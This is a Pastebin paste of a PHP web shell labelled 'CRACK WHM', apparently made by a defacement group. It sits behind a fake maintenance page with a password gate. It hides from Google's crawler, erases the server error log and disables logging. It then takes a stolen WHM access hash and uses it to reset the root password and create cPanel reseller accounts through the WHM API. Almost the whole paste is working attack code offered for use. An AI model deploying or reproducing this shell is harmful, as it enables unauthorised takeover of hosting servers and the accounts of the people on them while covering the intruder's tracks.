Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $auth_pass="4f4adcbf8c6f66dcfc8a3282ac2bf10a";
- $root=$_SERVER['DOCUMENT_ROOT'];
- $file='error_log';
- $cek=file_exists($root.'/'.$file)?true:false;
- if($cek){
- $reset=fopen("$root/$file","w");
- fwrite($reset,'');
- fclose($reset);}
- $color="#00ff00";
- $default_action='FilesMan';
- @define('SELF_PATH',__FILE__);
- if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false){
- header('HTTP/1.0 404 Not Found');
- exit;}
- @session_start();
- @error_reporting(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors',0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('VERSION','2.1');
- if(get_magic_quotes_gpc()){
- function stripslashes_array($array){
- return is_array($array)?array_map('stripslashes_array',$array):stripslashes($array);}$_POST=stripslashes_array($_POST);}
- function printLogin(){
- ?>
- <title>Perbaikan BOS.../idbte4m</title>
- <div style='border:3px dotted lime;background:url(http://tamejo.xtgem.com/bg/1.jpg);'><center><h1><u>Maintenance</u></h1><br>Maaf.. Web sedang dalam perbaikan, silahkan kembali beberapa saat lagi. <br> <img src="http://file-ku.mobie.in/img/idb1.png"><br><?php
- if(isset($_REQUEST['go'])){
- switch($_REQUEST['go']){
- case "./idbteam":
- ?>
- <form method='POST'><input type='password' maxlength='30' name='pass'><input type='submit' value='berangkat...' name='login'><p>
- <h3>visit : <a href="http://blogs.goenktea.net">My Blogs</a> <br> created : Goenk Tea</h3></p>
- </b></font></div></div></div></center>
- <?php break;}}
- exit;}
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))if(empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)))$_SESSION[md5($_SERVER['HTTP_HOST'])]=true;elseprintLogin();
- @ini_set('output_buffering',0);
- @ini_set('display_errors',0);
- set_time_limit(0);ini_set('memory_limit','64M');
- header('Content-Type: text/html; charset=UTF-8');
- function letItBy(){ob_flush();flush();}
- $whm_interface_path='/usr/local/cpanel/Cpanel/Accounting.php.inc';
- function getVar($name,$def=''){
- if(isset($_REQUEST[$name]))return $_REQUEST[$name];elsereturn $def;}
- @ini_set('display_errors',0);
- class Whm{
- var $controller=true;
- var $host=null;
- var $user=null;
- var $accessHash=null;
- var $errors=array();
- var $fp=null;
- function startup(&$controller){
- $this->controller=&$controller;}
- function init($host,$user,$accessHash){
- $this->host=$host;
- $this->user=$user;
- $accessHash=str_replace(array("\r","\n"),"",$accessHash);
- $this->accessHash=$accessHash;}
- function connect($api_path){$this->fp=fsockopen("ssl://".$this->host,2087,$errno,$errstr,30);if($errno == 0 && $this->fp == false){$this->errors[]="Socket Error: Could not initialize socket.";return false;}elseif($this->fp == false){$this->errors[]="Socket Error #".$errno.": ".$errstr;return false;}$header="";$header .= "GET ".$api_path." HTTP/1.0\r\n";$header .= "Host: ".$this->host."\r\n";$header .= "Connection: Close\r\n";$header .= "Authorization: WHM ".$this->user.":".$this->accessHash."\r\n";$header .= "\r\n";if(!@fputs($this->fp,$header)){$this->errors[]='Unable to send header.';return false;}}function disconnect(){fclose($this->fp);}function getOutput(){$rawResult="";while(!feof($this->fp)){$rawResult .= @fgets($this->fp,128);}$rawResultParts=explode("\r\n\r\n",$rawResult);$result=$rawResultParts[1];return $result;}function version(){$this->connect('/xml-api/version');$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);return $xml->version;}function gethostname(){$this->connect('/xml-api/gethostname');$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);return $xml->hostname;}function listaccts(){$this->connect('/xml-api/listaccts');$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new DOMDocument();$xml->loadXML($xmlstr);$list=$xml->getElementsByTagName('user');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['user']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('domain');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['domain']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('plan');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['package']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('unix_startdate');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['start_date']=$item->nodeValue;$i++;}}return $result;}function listPkgs(){$this->connect('/xml-api/listpkgs');$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new DOMDocument();$xml->loadXML($xmlstr);$list=$xml->getElementsByTagName('name');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['package_name']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('QUOTA');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['package_quota']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('BWLIMIT');$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]['package_bw_limit']=$item->nodeValue;$i++;}}return $result;}function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg){$this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&ip=y&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=1");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1){$result['status']=$xml->result->status;$result['statusmsg']=$xml->result->statusmsg;$result['ip']=$xml->result->options->ip;$result['nameserver']=$xml->result->options->nameserver;$result['nameserver2']=$xml->result->options->nameserver2;$result['nameserver3']=$xml->result->options->nameserver3;$result['nameserver4']=$xml->result->options->nameserver4;$result['package']=$xml->result->options->package;$result['rawout']=$xml->result->rawout;return $result;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function accountsummary($accUser){$this->connect("/xml-api/accountsummary?user=$accUser");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->status == 1){$result['disklimit']=$xml->acct->disklimit;$result['diskused']=$xml->acct->diskused;$result['diskused']=$xml->acct->diskused;$result['domain']=$xml->acct->domain;$result['email']=$xml->acct->email;$result['ip']=$xml->acct->ip;$result['owner']=$xml->acct->owner;$result['partition']=$xml->acct->partition;$result['plan']=$xml->acct->plan;$result['startdate']=$xml->acct->startdate;$result['theme']=$xml->acct->theme;$result['unix_startdate']=$xml->acct->unix_startdate;$result['user']=$xml->acct->user;return $result;}else{$this->errors[]=$xml->statusmsg;return false;}}function passwd($accUser,$pass){$this->connect("/xml-api/passwd?user=$accUser&pass=$pass");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->passwd->status == 1){$result['statusmsg']=$xml->passwd->statusmsg;$result['frontpage']=$xml->passwd->frontpage;$result['ftp']=$xml->passwd->ftp;$result['mail']=$xml->passwd->mail;$result['mysql']=$xml->passwd->mysql;$result['system']=$xml->passwd->system;$result['rawout']=$xml->passwd->rawout;return $result;}else{$this->errors[]=$xml->passwd->statusmsg;return false;}}function suspend($acctUser,$reason){$this->connect("/xml-api/suspendacct?user=$acctUser&reason=$reason");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1){return $xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function unsuspend($acctUser){$this->connect("/xml-api/unsuspendacct?user=$acctUser");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1){return $xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function terminate($acctUser,$keepDns=0){$this->connect("/xml-api/removeacct?user=$acctUser&keepdns=$keepDns");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1){return $xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function Email_listpopswithdisk($user,$domain){$this->connect("/xml-api/cpanel?user=$user&xmlin=<cpanelaction><module>Email</module><func>listpopswithdisk</func><args><domain>$domain</domain></args></cpanelaction>");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();if($xmlstr){$xml= new SimpleXMLElement($xmlstr);$i=0;foreach($xml->data as $entry){$result[$i]['domain']=htmlentities((string)$entry->domain);$result[$i]['user']=htmlentities((string)$entry->user);$result[$i]['login']=htmlentities((string)$entry->login);$result[$i]['email']=htmlentities((string)$entry->email);$result[$i]['_diskquota']=htmlentities((string)$entry->_diskquota);$result[$i]['_diskused']=htmlentities((string)$entry->_diskused);$result[$i]['diskquota']=htmlentities((string)$entry->diskquota);$result[$i]['diskused']=htmlentities((string)$entry->diskused);$result[$i]['diskusedpercent']=htmlentities((string)$entry->diskusedpercent);$result[$i]['diskusedpercent20']=htmlentities((string)$entry->diskusedpercent20);$result[$i]['humandiskquota']=htmlentities((string)$entry->humandiskquota);$result[$i]['humandiskused']=htmlentities((string)$entry->humandiskused);$result[$i]['txtdiskquota']=htmlentities((string)$entry->txtdiskquota);$i++;}return $result;}else{$this->errors[]='Some errors occured.';return false;}}function changepackage($accUser,$pkg){$this->connect("/xml-api/changepackage?user=$accUser&pkg=$pkg");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1){$result['statusmsg']=$xml->result->statusmsg;$result['rawout']=$xml->result->rawout;return $result;}else{$this->errors[]=$xml->result->statusmsg;return false;}}}
- ?>
- <html>
- <head>
- <title>Combrooo</title>
- </head>
- <body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-repeat: repeat; background-position: center; background-attachment: fixed;">
- <STYLE>
- textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid #000000;}
- input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20}
- body {
- font-family: Tahoma
- }
- tr {
- BORDER: dashed 1px #333;
- color: #FFF;
- }
- td {
- BORDER: dashed 1px #333;
- color: #FFF;
- }
- .table1 {
- BORDER: 0px Black;
- BACKGROUND-COLOR: Black;
- color: #FFF;
- }
- .td1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- font: 7pt Verdana;
- color: Green;
- }
- .tr1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- color: #FFF;
- }
- table {
- BORDER: dashed 1px #333;
- BORDER-COLOR: #333333;
- BACKGROUND-COLOR: Black;
- color: #FFF;
- }
- input {
- border : dashed 1px;
- border-color : #333;
- BACKGROUND-COLOR: Black;
- font: 8pt Verdana;
- color: lime;
- }
- select {
- BORDER-RIGHT: Black 1px solid;
- BORDER-TOP: #DF0000 1px solid;
- BORDER-LEFT: #DF0000 1px solid;
- BORDER-BOTTOM: Black 1px solid;
- BORDER-color: #FFF;
- BACKGROUND-COLOR: Black;
- font: 8pt Verdana;
- color: lime;
- }
- submit {
- BORDER: buttonhighlight 2px outset;
- BACKGROUND-COLOR: Black;
- width: 30%;
- color: #FFF;
- }
- textarea {
- border : dashed 1px #333;
- BACKGROUND-COLOR: Black;
- font: Fixedsys bold;
- color: #999;
- }
- BODY {
- SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
- margin: 1px;
- color: Red;
- background-color: Black;
- }
- .main {
- margin: -287px 0px 0px -490px;
- BORDER: dashed 1px #333;
- BORDER-COLOR: #333333;
- }
- .tt {
- background-color: Black;
- }
- .areaz { margin:auto;
- border:1px solid lime;
- width:60%;
- height:170px;
- background:#000000;
- padding:0 2px; }
- A:link {
- COLOR: White; TEXT-DECORATION: none
- }
- A:visited {
- COLOR: White; TEXT-DECORATION: none
- }
- A:hover {
- color: Red; TEXT-DECORATION: none
- }
- A:active {
- color: Red; TEXT-DECORATION: none
- }
- #result{margin:10px;}
- #result span{display:block;}
- #result .X{background-color:#101010;}
- #result .Y{background-color:green;}
- #result .Z{background-color:red;}
- </STYLE>
- <script language=\'javascript\'>
- function hide_div(id){
- document.getElementById(id).style.display = \'none\';
- document.cookie=id+\'=0;\';
- }
- function show_div(id){
- document.getElementById(id).style.display = \'block\';
- document.cookie=id+\'=1;\';
- }
- function change_divst(id){
- if (document.getElementById(id).style.display == \'none\')
- show_div(id);
- else
- hide_div(id);
- }
- </script>
- </td></table></tr>
- <br>
- <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Audiowide">
- <style>
- body { font-family: 'Audiowide', serif;font-size: 30px;}
- </style></head><center>
- <h1>CRACK WHM</h1>
- <body onLoad="type_text()" ; bgColor=#000000 text=#00FFFF background="Fashion fuchsia"><br/>
- <table border="1" bordercolor=red>
- <tr>
- <td width="700">
- <center>
- <form method="post" name="pageform"
- action="" onsubmit="return validate(this);">
- <form method="post">
- <div align="center"><h2>Generate PassWord </h2></div>
- <center><table width="500" border="1">
- <tbody><tr><td><center>Access Hash<textarea rows="3" cols="40" name="hashwhm"
- value=""></textarea></center></td></tr></tbody></table>
- <table border="1">
- <tbody><tr><td><center> Host/ IP <input name="ipwhm" value="127.0.0.1"></center></td><td><center>Username<input name="userwhm" value="root"></center></td></tr>
- </tbody></table>
- <center><table border="1">
- <tbody><tr><td> Pw Baru: </ td><td><input name="passwhm" value="123asdf@@@" size="25"></td></tr>
- <tr><td colspan="3"><center><input class="button" type="submit" name="submit" value="Reset PassWord"></td></tr></table><tr><td><nobr>
- <center><input name="cp-creator" type="submit" value=" CP Creator " id="button"/>
- </nobr></td></tr></table>
- </form>
- <table>
- <div align="center"><br/>
- <!-- lets start making exploit -->
- <!-- cpanel creator -->
- <?php
- if(isset($_POST['cp-creator'])){
- ?>
- <br><div id="result"><br>
- <form method="post">
- <div align="center"><h2>cPanel Account Creator </h2></div>
- <center><table width="500" border="1">
- <tbody><tr><td><center>Access Hash<textarea rows="3" cols="40" name="hash"
- value=""></textarea></center></td></tr></tbody></table>
- <table border="1">
- <tbody><tr><td><center> Host/ IP <input name="host" value="127.0.0.1"></center></td><td><center>Username<input name="whm" value="root"></center></td></tr>
- </tbody></table>
- <p> <h3><u>info akun baru </u></h3> <center><table border="1">
- <tbody><tr><td> Domain: </ td><td><input name="domain" value="domain-kamu.com" size="25"></td></tr>
- <tr><td> Username: </td><td><input name="user" value="combro" size="25">
- </td></tr>
- <tr><td> Password: </td><td><input name="password" value="123asdf@@@" size="25"></td><td></td></tr>
- <tr><td> Package: </td><td><input name="package" value="default" size="25"></td></tr>
- </table>
- <tr><td colspan="3"><br /><center><input class="button" type="submit" name="submit" value="Create Account"></td></tr></table>
- <?php }
- ?>
- <?php
- set_time_limit(0);if(isset($_POST['submit'])){echo '<div id="result">';if(!isset($whm_user)){$whm_user=getVar('whm');}if(!isset($whm_host)){$whm_host=getVar('host');}$whm_usessl=1;if(!isset($whm_key)){$whm_key=getVar('hash');}if(!isset($user_domain)){$user_domain=getVar('domain');}if(!isset($user_name)){$user_name=getVar('user');}if(!isset($user_pass)){$user_pass=getVar('password');}if(!isset($user_plan)){$user_plan=getVar('package');}if(!file_exists($whm_interface_path)){die($whm_interface_path." does not exist. Please update program with correct path to your WHM interface file.");}if(!empty($user_name)){require_once$whm_interface_path;$result=createacct($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);}echo "<h2><b><u>RESULT:</u></b></h2> <span class=X>$result</span>";echo "</div>";}
- ?>
- <!-- Reset PassWord -->
- <?php
- if(isset($_POST['cp-pass'])){
- ?>
- <br><div id="result"><br>
- <?php }
- ?>
- <?php
- set_time_limit(0);if(isset($_POST['submit'])){echo '<div id="result">';$idbteam404= new whm;if(!isset($ipwhm)){$ipwhm=getVar('hashwhm');}if(!isset($userwhm)){$userwhm=getVar('userwhm');}if(!isset($hashwhm)){$hashwhm=getVar('ipwhm');}if(!isset($passbaru)){$passbaru=getVar('passwhm');}$idbteam404->init($hashwhm,$userwhm,$ipwhm);$hostname=$idbteam404->gethostname();echo "Host name: $hostname <br>";$version=$idbteam404->version();echo "Cpanel/whm version is: $version <br><pre>";$result=$idbteam404->passwd($userwhm,$passbaru);if($result){print_r($result);}else{print_r($idbteam404->errors);}
- ?>
- <?php }
- ?>
- <!-- exploit done -->
- <!-- yeaah i'm handsome -->
- </center></td></table></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement